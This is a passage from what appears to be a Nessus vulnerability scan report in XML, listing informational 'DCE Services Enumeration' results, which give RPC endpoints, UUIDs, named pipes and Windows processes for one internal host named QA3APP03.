9699 Type : Remote RPC service
9700 TCP Port : 49153
9701 IP : 10.31.112.23
9702
9703 Object UUID : 00000000-0000-0000-0000-000000000000
9704 UUID : f6beaff7-1e19-4fbb-9f8f-b89e2018337c, version 1.0
9705 Description : Unknown RPC service
9706 Annotation : Event log TCPIP
9707 Type : Remote RPC service
9708 TCP Port : 49153
9709 IP : 10.31.112.23
9710
9711 Object UUID : 00000000-0000-0000-0000-000000000000
9712 UUID : 30adc50c-5cbc-46ce-9a0e-91914789e23c, version 1.0
9713 Description : Unknown RPC service
9714 Annotation : NRP server endpoint
9715 Type : Remote RPC service
9716 TCP Port : 49153
9717 IP : 10.31.112.23
9718
9719 Object UUID : 00000000-0000-0000-0000-000000000000
9720 UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d6, version 1.0
9721 Description : Unknown RPC service
9722 Annotation : DHCPv6 Client LRPC Endpoint
9723 Type : Remote RPC service
9724 TCP Port : 49153
9725 IP : 10.31.112.23
9726
9727 </plugin_output>
9728 </ReportItem>
9729 <ReportItem port="49176" svc_name="dce-rpc" protocol="tcp" severity="0" pluginID="10736" pluginName="DCE Services Enumeration" pluginFamily="Windows">
9730 <description>By sending a Lookup request to the portmapper (TCP 135 or epmapper PIPE) it was possible to enumerate the Distributed Computing Environment (DCE) services running on the remote port.
9731 Using this information it is possible to connect and bind to each service by sending an RPC request to the remote port/pipe.</description>
9732 <fname>dcetest.nasl</fname>
9733 <plugin_modification_date>2012/01/31</plugin_modification_date>
9734 <plugin_name>DCE Services Enumeration</plugin_name>
9735 <plugin_publication_date>2001/08/26</plugin_publication_date>
9736 <plugin_type>local</plugin_type>
9737 <risk_factor>None</risk_factor>
9738 <script_version>$Revision: 1.50 $</script_version>
9739 <solution>n/a</solution>
9740 <synopsis>A DCE/RPC service is running on the remote host.</synopsis>
9741 <plugin_output>
9742 The following DCERPC services are available on TCP port 49176 :
9743
9744 Object UUID : 00000000-0000-0000-0000-000000000000
9745 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
9746 Description : Security Account Manager
9747 Windows process : lsass.exe
9748 Type : Remote RPC service
9749 TCP Port : 49176
9750 IP : 10.31.112.23
9751
9752 </plugin_output>
9753 </ReportItem>
9754 <ReportItem port="49253" svc_name="dce-rpc" protocol="tcp" severity="0" pluginID="10736" pluginName="DCE Services Enumeration" pluginFamily="Windows">
9755 <description>By sending a Lookup request to the portmapper (TCP 135 or epmapper PIPE) it was possible to enumerate the Distributed Computing Environment (DCE) services running on the remote port.
9756 Using this information it is possible to connect and bind to each service by sending an RPC request to the remote port/pipe.</description>
9757 <fname>dcetest.nasl</fname>
9758 <plugin_modification_date>2012/01/31</plugin_modification_date>
9759 <plugin_name>DCE Services Enumeration</plugin_name>
9760 <plugin_publication_date>2001/08/26</plugin_publication_date>
9761 <plugin_type>local</plugin_type>
9762 <risk_factor>None</risk_factor>
9763 <script_version>$Revision: 1.50 $</script_version>
9764 <solution>n/a</solution>
9765 <synopsis>A DCE/RPC service is running on the remote host.</synopsis>
9766 <plugin_output>
9767 The following DCERPC services are available on TCP port 49253 :
9768
9769 Object UUID : 00000000-0000-0000-0000-000000000000
9770 UUID : 6b5bdd1e-528c-422c-af8c-a4079be4fe48, version 1.0
9771 Description : Unknown RPC service
9772 Annotation : Remote Fw APIs
9773 Type : Remote RPC service
9774 TCP Port : 49253
9775 IP : 10.31.112.23
9776
9777 Object UUID : 00000000-0000-0000-0000-000000000000
9778 UUID : 12345678-1234-abcd-ef00-0123456789ab, version 1.0
9779 Description : IPsec Services (Windows XP &amp; 2003)
9780 Windows process : lsass.exe
9781 Annotation : IPSec Policy agent endpoint
9782 Type : Remote RPC service
9783 TCP Port : 49253
9784 IP : 10.31.112.23
9785
9786 </plugin_output>
9787 </ReportItem>
9788 <ReportItem port="49154" svc_name="dce-rpc" protocol="tcp" severity="0" pluginID="10736" pluginName="DCE Services Enumeration" pluginFamily="Windows">
9789 <description>By sending a Lookup request to the portmapper (TCP 135 or epmapper PIPE) it was possible to enumerate the Distributed Computing Environment (DCE) services running on the remote port.
9790 Using this information it is possible to connect and bind to each service by sending an RPC request to the remote port/pipe.</description>
9791 <fname>dcetest.nasl</fname>
9792 <plugin_modification_date>2012/01/31</plugin_modification_date>
9793 <plugin_name>DCE Services Enumeration</plugin_name>
9794 <plugin_publication_date>2001/08/26</plugin_publication_date>
9795 <plugin_type>local</plugin_type>
9796 <risk_factor>None</risk_factor>
9797 <script_version>$Revision: 1.50 $</script_version>
9798 <solution>n/a</solution>
9799 <synopsis>A DCE/RPC service is running on the remote host.</synopsis>
9800 <plugin_output>
9801 The following DCERPC services are available on TCP port 49154 :
9802
9803 Object UUID : 00000000-0000-0000-0000-000000000000
9804 UUID : 86d35949-83c9-4044-b424-db363231fd0c, version 1.0
9805 Description : Unknown RPC service
9806 Type : Remote RPC service
9807 TCP Port : 49154
9808 IP : 10.31.112.23
9809
9810 Object UUID : 00000000-0000-0000-0000-000000000000
9811 UUID : a398e520-d59a-4bdd-aa7a-3c1e0303a511, version 1.0
9812 Description : Unknown RPC service
9813 Annotation : IKE/Authip API
9814 Type : Remote RPC service
9815 TCP Port : 49154
9816 IP : 10.31.112.23
9817
9818 Object UUID : 00000000-0000-0000-0000-000000000000
9819 UUID : 552d076a-cb29-4e44-8b6a-d15e59e2c0af, version 1.0
9820 Description : Unknown RPC service
9821 Annotation : IP Transition Configuration endpoint
9822 Type : Remote RPC service
9823 TCP Port : 49154
9824 IP : 10.31.112.23
9825
9826 Object UUID : 00000000-0000-0000-0000-000000000000
9827 UUID : 98716d03-89ac-44c7-bb8c-285824e51c4a, version 1.0
9828 Description : Unknown RPC service
9829 Annotation : XactSrv service
9830 Type : Remote RPC service
9831 TCP Port : 49154
9832 IP : 10.31.112.23
9833
9834 Object UUID : 73736573-6f69-656e-6e76-000000000000
9835 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
9836 Description : Unknown RPC service
9837 Annotation : Impl friendly name
9838 Type : Remote RPC service
9839 TCP Port : 49154
9840 IP : 10.31.112.23
9841
9842 Object UUID : 00000000-0000-0000-0000-000000000000
9843 UUID : 30b044a5-a225-43f0-b3a4-e060df91f9c1, version 1.0
9844 Description : Unknown RPC service
9845 Type : Remote RPC service
9846 TCP Port : 49154
9847 IP : 10.31.112.23
9848
9849 </plugin_output>
9850 </ReportItem>
9851 <ReportItem port="49252" svc_name="dce-rpc" protocol="tcp" severity="0" pluginID="10736" pluginName="DCE Services Enumeration" pluginFamily="Windows">
9852 <description>By sending a Lookup request to the portmapper (TCP 135 or epmapper PIPE) it was possible to enumerate the Distributed Computing Environment (DCE) services running on the remote port.
9853 Using this information it is possible to connect and bind to each service by sending an RPC request to the remote port/pipe.</description>
9854 <fname>dcetest.nasl</fname>
9855 <plugin_modification_date>2012/01/31</plugin_modification_date>
9856 <plugin_name>DCE Services Enumeration</plugin_name>
9857 <plugin_publication_date>2001/08/26</plugin_publication_date>
9858 <plugin_type>local</plugin_type>
9859 <risk_factor>None</risk_factor>
9860 <script_version>$Revision: 1.50 $</script_version>
9861 <solution>n/a</solution>
9862 <synopsis>A DCE/RPC service is running on the remote host.</synopsis>
9863 <plugin_output>
9864 The following DCERPC services are available on TCP port 49252 :
9865
9866 Object UUID : 00000000-0000-0000-0000-000000000000
9867 UUID : 367abb81-9844-35f1-ad32-98f038001003, version 2.0
9868 Description : Unknown RPC service
9869 Type : Remote RPC service
9870 TCP Port : 49252
9871 IP : 10.31.112.23
9872
9873 </plugin_output>
9874 </ReportItem>
9875 <ReportItem port="445" svc_name="cifs" protocol="tcp" severity="0" pluginID="10736" pluginName="DCE Services Enumeration" pluginFamily="Windows">
9876 <description>By sending a Lookup request to the portmapper (TCP 135 or epmapper PIPE) it was possible to enumerate the Distributed Computing Environment (DCE) services running on the remote port.
9877 Using this information it is possible to connect and bind to each service by sending an RPC request to the remote port/pipe.</description>
9878 <fname>dcetest.nasl</fname>
9879 <plugin_modification_date>2012/01/31</plugin_modification_date>
9880 <plugin_name>DCE Services Enumeration</plugin_name>
9881 <plugin_publication_date>2001/08/26</plugin_publication_date>
9882 <plugin_type>local</plugin_type>
9883 <risk_factor>None</risk_factor>
9884 <script_version>$Revision: 1.50 $</script_version>
9885 <solution>n/a</solution>
9886 <synopsis>A DCE/RPC service is running on the remote host.</synopsis>
9887 <plugin_output>
9888 The following DCERPC services are available remotely :
9889
9890 Object UUID : 765294ba-60bc-48b8-92e9-89fd77769d91
9891 UUID : d95afe70-a6d5-4259-822e-2c84da1ddb0d, version 1.0
9892 Description : Unknown RPC service
9893 Type : Remote RPC service
9894 Named pipe : \PIPE\InitShutdown
9895 Netbios name : \\QA3APP03
9896
9897 Object UUID : b08669ee-8cb5-43a5-a017-84fe00000000
9898 UUID : 76f226c3-ec14-4325-8a99-6a46348418af, version 1.0
9899 Description : Unknown RPC service
9900 Type : Remote RPC service
9901 Named pipe : \PIPE\InitShutdown
9902 Netbios name : \\QA3APP03
9903
9904 Object UUID : 00000000-0000-0000-0000-000000000000
9905 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
9906 Description : Security Account Manager
9907 Windows process : lsass.exe
9908 Type : Remote RPC service
9909 Named pipe : \pipe\lsass
9910 Netbios name : \\QA3APP03
9911
9912 Object UUID : 00000000-0000-0000-0000-000000000000
9913 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
9914 Description : Security Account Manager
9915 Windows process : lsass.exe
9916 Type : Remote RPC service
9917 Named pipe : \PIPE\protected_storage
9918 Netbios name : \\QA3APP03
9919
9920 Object UUID : 00000000-0000-0000-0000-000000000000
9921 UUID : 3473dd4d-2e88-4006-9cba-22570909dd10, version 5.0
9922 Description : Unknown RPC service
9923 Annotation : WinHttp Auto-Proxy Service
9924 Type : Remote RPC service
9925 Named pipe : \PIPE\W32TIME_ALT
9926 Netbios name : \\QA3APP03
9927
9928 Object UUID : 00000000-0000-0000-0000-000000000000
9929 UUID : 1ff70682-0a51-30e8-076d-740be8cee98b, version 1.0
9930 Description : Scheduler Service
9931 Windows process : svchost.exe
9932 Type : Remote RPC service
9933 Named pipe : \PIPE\atsvc
9934 Netbios name : \\QA3APP03
9935
9936 Object UUID : 00000000-0000-0000-0000-000000000000
9937 UUID : 378e52b0-c0a9-11cf-822d-00aa0051e40f, version 1.0
9938 Description : Scheduler Service
9939 Windows process : svchost.exe
9940 Type : Remote RPC service
9941 Named pipe : \PIPE\atsvc
9942 Netbios name : \\QA3APP03
9943
9944 Object UUID : 00000000-0000-0000-0000-000000000000
9945 UUID : 86d35949-83c9-4044-b424-db363231fd0c, version 1.0
9946 Description : Unknown RPC service
9947 Type : Remote RPC service
9948 Named pipe : \PIPE\atsvc
9949 Netbios name : \\QA3APP03
9950
9951 Object UUID : 00000000-0000-0000-0000-000000000000
9952 UUID : a398e520-d59a-4bdd-aa7a-3c1e0303a511, version 1.0
9953 Description : Unknown RPC service
9954 Annotation : IKE/Authip API
9955 Type : Remote RPC service
9956 Named pipe : \PIPE\atsvc
9957 Netbios name : \\QA3APP03
9958
9959 Object UUID : 00000000-0000-0000-0000-000000000000
9960 UUID : 552d076a-cb29-4e44-8b6a-d15e59e2c0af, version 1.0
9961 Description : Unknown RPC service
9962 Annotation : IP Transition Configuration endpoint
9963 Type : Remote RPC service
9964 Named pipe : \PIPE\atsvc
9965 Netbios name : \\QA3APP03
9966
9967 Object UUID : 00000000-0000-0000-0000-000000000000
9968 UUID : 98716d03-89ac-44c7-bb8c-285824e51c4a, version 1.0
9969 Description : Unknown RPC service
9970 Annotation : XactSrv service
9971 Type : Remote RPC service
9972 Named pipe : \PIPE\atsvc
9973 Netbios name : \\QA3APP03
9974
9975 Object UUID : 73736573-6f69-656e-6e76-000000000000
9976 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
9977 Description : Unknown RPC service
9978 Annotation : Impl friendly name
9979 Type : Remote RPC service
9980 Named pipe : \PIPE\atsvc
9981 Netbios name : \\QA3APP03
9982
9983 Object UUID : 73736573-6f69-656e-6e76-000000000000
9984 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
9985 Description : Unknown RPC service
9986 Annotation : Impl friendly name
9987 Type : Remote RPC service
9988 Named pipe : \PIPE\srvsvc
9989 Netbios name : \\QA3APP03
9990
9991 Object UUID : 00000000-0000-0000-0000-000000000000
9992 UUID : 30b044a5-a225-43f0-b3a4-e060df91f9c1, version 1.0
9993 Description : Unknown RPC service
9994 Type : Remote RPC service
9995 Named pipe : \PIPE\atsvc
9996 Netbios name : \\QA3APP03
9997
9998 Object UUID : 00000000-0000-0000-0000-000000000000
9999 UUID : 30b044a5-a225-43f0-b3a4-e060df91f9c1, version 1.0
10000 Description : Unknown RPC service
10001 Type : Remote RPC service
10002 Named pipe : \PIPE\srvsvc
10003 Netbios name : \\QA3APP03
10004
10005 Object UUID : 00000000-0000-0000-0000-000000000000
10006 UUID : f6beaff7-1e19-4fbb-9f8f-b89e2018337c, version 1.0
10007 Description : Unknown RPC service
10008 Annotation : Event log TCPIP
10009 Type : Remote RPC service
10010 Named pipe : \pipe\eventlog
10011 Netbios name : \\QA3APP03
10012
10013 Object UUID : 00000000-0000-0000-0000-000000000000
10014 UUID : 30adc50c-5cbc-46ce-9a0e-91914789e23c, version 1.0
10015 Description : Unknown RPC service
10016 Annotation : NRP server endpoint
10017 Type : Remote RPC service
10018 Named pipe : \pipe\eventlog
10019 Netbios name : \\QA3APP03
10020
10021 Object UUID : 00000000-0000-0000-0000-000000000000
10022 UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d6, version 1.0
10023 Description : Unknown RPC service
10024 Annotation : DHCPv6 Client LRPC Endpoint
10025 Type : Remote RPC service
10026 Named pipe : \pipe\eventlog
10027 Netbios name : \\QA3APP03
10028
10029 Object UUID : 00000000-0000-0000-0000-000000000000
10030 UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5, version 1.0
10031 Description : DHCP Client Service
10032 Windows process : svchost.exe
10033 Annotation : DHCP Client LRPC Endpoint
10034 Type : Remote RPC service
10035 Named pipe : \pipe\eventlog
10036 Netbios name : \\QA3APP03
10037
10038 </plugin_output>
10039 </ReportItem>
10040 <ReportItem port="135" svc_name="epmap" protocol="tcp" severity="0" pluginID="10736" pluginName="DCE Services Enumeration" pluginFamily="Windows">
10041 <description>By sending a Lookup request to the portmapper (TCP 135 or epmapper PIPE) it was possible to enumerate the Distributed Computing Environment (DCE) services running on the remote port.
10042 Using this information it is possible to connect and bind to each service by sending an RPC request to the remote port/pipe.</description>
10043 <fname>dcetest.nasl</fname>
10044 <plugin_modification_date>2012/01/31</plugin_modification_date>
10045 <plugin_name>DCE Services Enumeration</plugin_name>
10046 <plugin_publication_date>2001/08/26</plugin_publication_date>
10047 <plugin_type>local</plugin_type>
10048 <risk_factor>None</risk_factor>
10049 <script_version>$Revision: 1.50 $</script_version>
10050 <solution>n/a</solution>
10051 <synopsis>A DCE/RPC service is running on the remote host.</synopsis>
10052 <plugin_output>
10053 The following DCERPC services are available locally :
10054
10055 Object UUID : 765294ba-60bc-48b8-92e9-89fd77769d91
10056 UUID : d95afe70-a6d5-4259-822e-2c84da1ddb0d, version 1.0
10057 Description : Unknown RPC service
10058 Type : Local RPC service
10059 Named pipe : WindowsShutdown
10060
10061 Object UUID : 765294ba-60bc-48b8-92e9-89fd77769d91
10062 UUID : d95afe70-a6d5-4259-822e-2c84da1ddb0d, version 1.0
10063 Description : Unknown RPC service
10064 Type : Local RPC service
10065 Named pipe : WMsgKRpc07E140
10066
10067 Object UUID : b08669ee-8cb5-43a5-a017-84fe00000000
10068 UUID : 76f226c3-ec14-4325-8a99-6a46348418af, version 1.0
10069 Description : Unknown RPC service
10070 Type : Local RPC service
10071 Named pipe : WindowsShutdown
10072
10073 Object UUID : b08669ee-8cb5-43a5-a017-84fe00000000
10074 UUID : 76f226c3-ec14-4325-8a99-6a46348418af, version 1.0
10075 Description : Unknown RPC service
10076 Type : Local RPC service
10077 Named pipe : WMsgKRpc07E140
10078
10079 Object UUID : 00000000-0000-0000-0000-000000000000
10080 UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5, version 1.0
10081 Description : DHCP Client Service
10082 Windows process : svchost.exe
10083 Annotation : DHCP Client LRPC Endpoint
10084 Type : Local RPC service
10085 Named pipe : dhcpcsvc
10086
10087 Object UUID : 00000000-0000-0000-0000-000000000000
10088 UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5, version 1.0
10089 Description : DHCP Client Service
10090 Windows process : svchost.exe
10091 Annotation : DHCP Client LRPC Endpoint
10092 Type : Local RPC service
10093 Named pipe : dhcpcsvc6
10094
10095 Object UUID : 3bdb59a0-d736-4d44-9074-c1ee00000001
10096 UUID : 24019106-a203-4642-b88d-82dae9158929, version 1.0
10097 Description : Unknown RPC service
10098 Type : Local RPC service
10099 Named pipe : LRPC-f5843715c61bfe6885
10100
10101 Object UUID : b08669ee-8cb5-43a5-a017-84fe00000001
10102 UUID : 76f226c3-ec14-4325-8a99-6a46348418af, version 1.0
10103 Description : Unknown RPC service
10104 Type : Local RPC service
10105 Named pipe : WMsgKRpc03A09F1
10106
10107 Object UUID : 6d726574-7273-0076-0000-000000000000
10108 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
10109 Description : Unknown RPC service
10110 Annotation : Impl friendly name
10111 Type : Local RPC service
10112 Named pipe : LRPC-9cf1e6df3ddaf18254
10113
10114 Object UUID : fe206cf5-5acb-4c5a-a53e-6a625d74a3a5
10115 UUID : 906b0ce0-c70b-1067-b317-00dd010662da, version 1.0
10116 Description : Distributed Transaction Coordinator
10117 Windows process : msdtc.exe
10118 Type : Local RPC service
10119 Named pipe : LRPC-515d4e943a973fcbf5
10120
10121 Object UUID : fdc94e04-ca57-4224-8b4a-dcea460b37d8
10122 UUID : 906b0ce0-c70b-1067-b317-00dd010662da, version 1.0
10123 Description : Distributed Transaction Coordinator
10124 Windows process : msdtc.exe
10125 Type : Local RPC service
10126 Named pipe : LRPC-515d4e943a973fcbf5
10127
10128 Object UUID : b1f7e4b6-4c1d-4653-8af6-75d7dc766eb7
10129 UUID : 906b0ce0-c70b-1067-b317-00dd010662da, version 1.0
10130 Description : Distributed Transaction Coordinator
10131 Windows process : msdtc.exe
10132 Type : Local RPC service
10133 Named pipe : LRPC-515d4e943a973fcbf5
10134
10135 Object UUID : ea2539b6-cda6-4025-a420-0c083ea8f530
10136 UUID : 906b0ce0-c70b-1067-b317-00dd010662da, version 1.0
10137 Description : Distributed Transaction Coordinator
10138 Windows process : msdtc.exe
10139 Type : Local RPC service
10140 Named pipe : LRPC-515d4e943a973fcbf5
10141
10142 Object UUID : cc76c593-c771-405f-95f2-831ac11d10b0
10143 UUID : 906b0ce0-c70b-1067-b317-00dd010662da, version 1.0
10144 Description : Distributed Transaction Coordinator
10145 Windows process : msdtc.exe
10146 Type : Local RPC service
10147 Named pipe : OLE04094ECF1AFA4F71BE44598CE050
10148
10149 Object UUID : cc76c593-c771-405f-95f2-831ac11d10b0
10150 UUID : 906b0ce0-c70b-1067-b317-00dd010662da, version 1.0
10151 Description : Distributed Transaction Coordinator
10152 Windows process : msdtc.exe
10153 Type : Local RPC service
10154 Named pipe : LRPC-5bae080da7fcf1b0cf
10155
10156 Object UUID : 00000000-0000-0000-0000-000000000000
10157 UUID : 12345678-1234-abcd-ef00-0123456789ab, version 1.0
10158 Description : IPsec Services (Windows XP &amp; 2003)
10159 Windows process : lsass.exe
10160 Annotation : IPSec Policy agent endpoint
10161 Type : Local RPC service
10162 Named pipe : LRPC-594a677f38810976f7
10163
10164 Object UUID : 00000000-0000-0000-0000-000000000000
10165 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
10166 Description : Security Account Manager
10167 Windows process : lsass.exe
10168 Type : Local RPC service
10169 Named pipe : LRPC-61fb4d37067ba3aeb7
10170
10171 Object UUID : 00000000-0000-0000-0000-000000000000
10172 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
10173 Description : Security Account Manager
10174 Windows process : lsass.exe
10175 Type : Local RPC service
10176 Named pipe : audit
10177
10178 Object UUID : 00000000-0000-0000-0000-000000000000
10179 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
10180 Description : Security Account Manager
10181 Windows process : lsass.exe
10182 Type : Local RPC service
10183 Named pipe : securityevent
10184
10185 Object UUID : 00000000-0000-0000-0000-000000000000
10186 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
10187 Description : Security Account Manager
10188 Windows process : lsass.exe
10189 Type : Local RPC service
10190 Named pipe : LSARPC_ENDPOINT
10191
10192 Object UUID : 00000000-0000-0000-0000-000000000000
10193 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
10194 Description : Security Account Manager
10195 Windows process : lsass.exe
10196 Type : Local RPC service
10197 Named pipe : lsapolicylookup
10198
10199 Object UUID : 00000000-0000-0000-0000-000000000000
10200 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
10201 Description : Security Account Manager
10202 Windows process : lsass.exe
10203 Type : Local RPC service
10204 Named pipe : lsasspirpc
10205
10206 Object UUID : 00000000-0000-0000-0000-000000000000
10207 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
10208 Description : Security Account Manager
10209 Windows process : lsass.exe
10210 Type : Local RPC service
10211 Named pipe : protected_storage
10212
10213 Object UUID : 00000000-0000-0000-0000-000000000000
10214 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
10215 Description : Security Account Manager
10216 Windows process : lsass.exe
10217 Type : Local RPC service
10218 Named pipe : dsrole
10219
10220 Object UUID : 00000000-0000-0000-0000-000000000000
10221 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
10222 Description : Security Account Manager
10223 Windows process : lsass.exe
10224 Type : Local RPC service
10225 Named pipe : samss lpc
10226
10227 Object UUID : 00000000-0000-0000-0000-000000000000
10228 UUID : 0b6edbfa-4a24-4fc6-8a23-942b1eca65d1, version 1.0
10229 Description : Unknown RPC service
10230 Annotation : Spooler function endpoint
10231 Type : Local RPC service
10232 Named pipe : spoolss
10233
10234 Object UUID : 00000000-0000-0000-0000-000000000000
10235 UUID : ae33069b-a2a8-46ee-a235-ddfd339be281, version 1.0
10236 Description : Unknown RPC service
10237 Annotation : Spooler base remote object endpoint
10238 Type : Local RPC service
10239 Named pipe : spoolss
10240
10241 Object UUID : 00000000-0000-0000-0000-000000000000
10242 UUID : 4a452661-8290-4b36-8fbe-7f4093a94978, version 1.0
10243 Description : Unknown RPC service
10244 Annotation : Spooler function endpoint
10245 Type : Local RPC service
10246 Named pipe : spoolss
10247
10248 Object UUID : 00000000-0000-0000-0000-000000000000
10249 UUID : dd490425-5325-4565-b774-7e27d6c09c24, version 1.0
10250 Description : Unknown RPC service
10251 Annotation : Base Firewall Engine API
10252 Type : Local RPC service
10253 Named pipe : LRPC-f3d7a5a2e640916b7e
10254
10255 Object UUID : 00000000-0000-0000-0000-000000000000
10256 UUID : 7f9d11bf-7fb9-436b-a812-b2d50c5d4c03, version 1.0
10257 Description : Unknown RPC service
10258 Annotation : Fw APIs
10259 Type : Local RPC service
10260 Named pipe : LRPC-f3d7a5a2e640916b7e
10261
10262 Object UUID : 00000000-0000-0000-0000-000000000000
10263 UUID : 2fb92682-6599-42dc-ae13-bd2ca89bd11c, version 1.0
10264 Description : Unknown RPC service
10265 Annotation : Fw APIs
10266 Type : Local RPC service
10267 Named pipe : LRPC-f3d7a5a2e640916b7e
10268
10269 Object UUID : 00000000-0000-0000-0000-000000000000
10270 UUID : 7ea70bcf-48af-4f6a-8968-6a440754d5fa, version 1.0
10271 Description : Unknown RPC service
10272 Annotation : NSI server endpoint
10273 Type : Local RPC service
10274 Named pipe : OLE03CEBF0FFEF44A66AF8A0D4450E5
10275
10276 Object UUID : 00000000-0000-0000-0000-000000000000
10277 UUID : 7ea70bcf-48af-4f6a-8968-6a440754d5fa, version 1.0
10278 Description : Unknown RPC service
10279 Annotation : NSI server endpoint
10280 Type : Local RPC service
10281 Named pipe : LRPC-20e134a2fe92fb8f3d
10282
10283 Object UUID : 00000000-0000-0000-0000-000000000000
10284 UUID : 3473dd4d-2e88-4006-9cba-22570909dd10, version 5.0
10285 Description : Unknown RPC service
10286 Annotation : WinHttp Auto-Proxy Service
10287 Type : Local RPC service
10288 Named pipe : OLE03CEBF0FFEF44A66AF8A0D4450E5
10289
10290 Object UUID : 00000000-0000-0000-0000-000000000000
10291 UUID : 3473dd4d-2e88-4006-9cba-22570909dd10, version 5.0
10292 Description : Unknown RPC service
10293 Annotation : WinHttp Auto-Proxy Service
10294 Type : Local RPC service
10295 Named pipe : LRPC-20e134a2fe92fb8f3d
10296
10297 Object UUID : 00000000-0000-0000-0000-000000000000
10298 UUID : 3473dd4d-2e88-4006-9cba-22570909dd10, version 5.0
10299 Description : Unknown RPC service
10300 Annotation : WinHttp Auto-Proxy Service
10301 Type : Local RPC service
10302 Named pipe : W32TIME_ALT
10303
10304 Object UUID : 666f7270-6c69-7365-0000-000000000000
10305 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
10306 Description : Unknown RPC service
10307 Annotation : Impl friendly name
10308 Type : Local RPC service
10309 Named pipe : IUserProfile2
10310
10311 Object UUID : 6c637067-6569-746e-0000-000000000000
10312 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
10313 Description : Unknown RPC service
10314 Annotation : Impl friendly name
10315 Type : Local RPC service
10316 Named pipe : IUserProfile2
10317
10318 Object UUID : 24d1f7c7-76af-4f28-9ccd-7f6cb6468601
10319 UUID : 2eb08e3e-639f-4fba-97b1-14f878961076, version 1.0
10320 Description : Unknown RPC service
10321 Type : Local RPC service
10322 Named pipe : IUserProfile2
10323
10324 Object UUID : 736e6573-0000-0000-0000-000000000000
10325 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
10326 Description : Unknown RPC service
10327 Annotation : Impl friendly name
10328 Type : Local RPC service
10329 Named pipe : IUserProfile2
10330
10331 Object UUID : 736e6573-0000-0000-0000-000000000000
10332 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
10333 Description : Unknown RPC service
10334 Annotation : Impl friendly name
10335 Type : Local RPC service
10336 Named pipe : OLE00F960A1A06D423DA757C39857DA
10337
10338 Object UUID : 736e6573-0000-0000-0000-000000000000
10339 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
10340 Description : Unknown RPC service
10341 Annotation : Impl friendly name
10342 Type : Local RPC service
10343 Named pipe : senssvc
10344
10345 Object UUID : 00000000-0000-0000-0000-000000000000
10346 UUID : 0a74ef1c-41a4-4e06-83ae-dc74fb1cdd53, version 1.0
10347 Description : Scheduler Service
10348 Windows process : svchost.exe
10349 Type : Local RPC service
10350 Named pipe : IUserProfile2
10351
10352 Object UUID : 00000000-0000-0000-0000-000000000000
10353 UUID : 0a74ef1c-41a4-4e06-83ae-dc74fb1cdd53, version 1.0
10354 Description : Scheduler Service
10355 Windows process : svchost.exe
10356 Type : Local RPC service
10357 Named pipe : OLE00F960A1A06D423DA757C39857DA
10358
10359 Object UUID : 00000000-0000-0000-0000-000000000000
10360 UUID : 0a74ef1c-41a4-4e06-83ae-dc74fb1cdd53, version 1.0
10361 Description : Scheduler Service
10362 Windows process : svchost.exe
10363 Type : Local RPC service
10364 Named pipe : senssvc
10365
10366 Object UUID : 00000000-0000-0000-0000-000000000000
10367 UUID : 1ff70682-0a51-30e8-076d-740be8cee98b, version 1.0
10368 Description : Scheduler Service
10369 Windows process : svchost.exe
10370 Type : Local RPC service
10371 Named pipe : IUserProfile2
10372
10373 Object UUID : 00000000-0000-0000-0000-000000000000
10374 UUID : 1ff70682-0a51-30e8-076d-740be8cee98b, version 1.0
10375 Description : Scheduler Service
10376 Windows process : svchost.exe
10377 Type : Local RPC service
10378 Named pipe : OLE00F960A1A06D423DA757C39857DA
10379
10380 Object UUID : 00000000-0000-0000-0000-000000000000
10381 UUID : 1ff70682-0a51-30e8-076d-740be8cee98b, version 1.0
10382 Description : Scheduler Service
10383 Windows process : svchost.exe
10384 Type : Local RPC service
10385 Named pipe : senssvc
10386
10387 Object UUID : 00000000-0000-0000-0000-000000000000
10388 UUID : 378e52b0-c0a9-11cf-822d-00aa0051e40f, version 1.0
10389 Description : Scheduler Service
10390 Windows process : svchost.exe
10391 Type : Local RPC service
10392 Named pipe : IUserProfile2
10393
10394 Object UUID : 00000000-0000-0000-0000-000000000000
10395 UUID : 378e52b0-c0a9-11cf-822d-00aa0051e40f, version 1.0
10396 Description : Scheduler Service
10397 Windows process : svchost.exe
10398 Type : Local RPC service
10399 Named pipe : OLE00F960A1A06D423DA757C39857DA
10400
10401 Object UUID : 00000000-0000-0000-0000-000000000000
10402 UUID : 378e52b0-c0a9-11cf-822d-00aa0051e40f, version 1.0
10403 Description : Scheduler Service
10404 Windows process : svchost.exe
10405 Type : Local RPC service
10406 Named pipe : senssvc
10407
10408 Object UUID : 00000000-0000-0000-0000-000000000000
10409 UUID : 86d35949-83c9-4044-b424-db363231fd0c, version 1.0
10410 Description : Unknown RPC service
10411 Type : Local RPC service
10412 Named pipe : IUserProfile2
10413
10414 Object UUID : 00000000-0000-0000-0000-000000000000
10415 UUID : 86d35949-83c9-4044-b424-db363231fd0c, version 1.0
10416 Description : Unknown RPC service
10417 Type : Local RPC service
10418 Named pipe : OLE00F960A1A06D423DA757C39857DA
10419
10420 Object UUID : 00000000-0000-0000-0000-000000000000
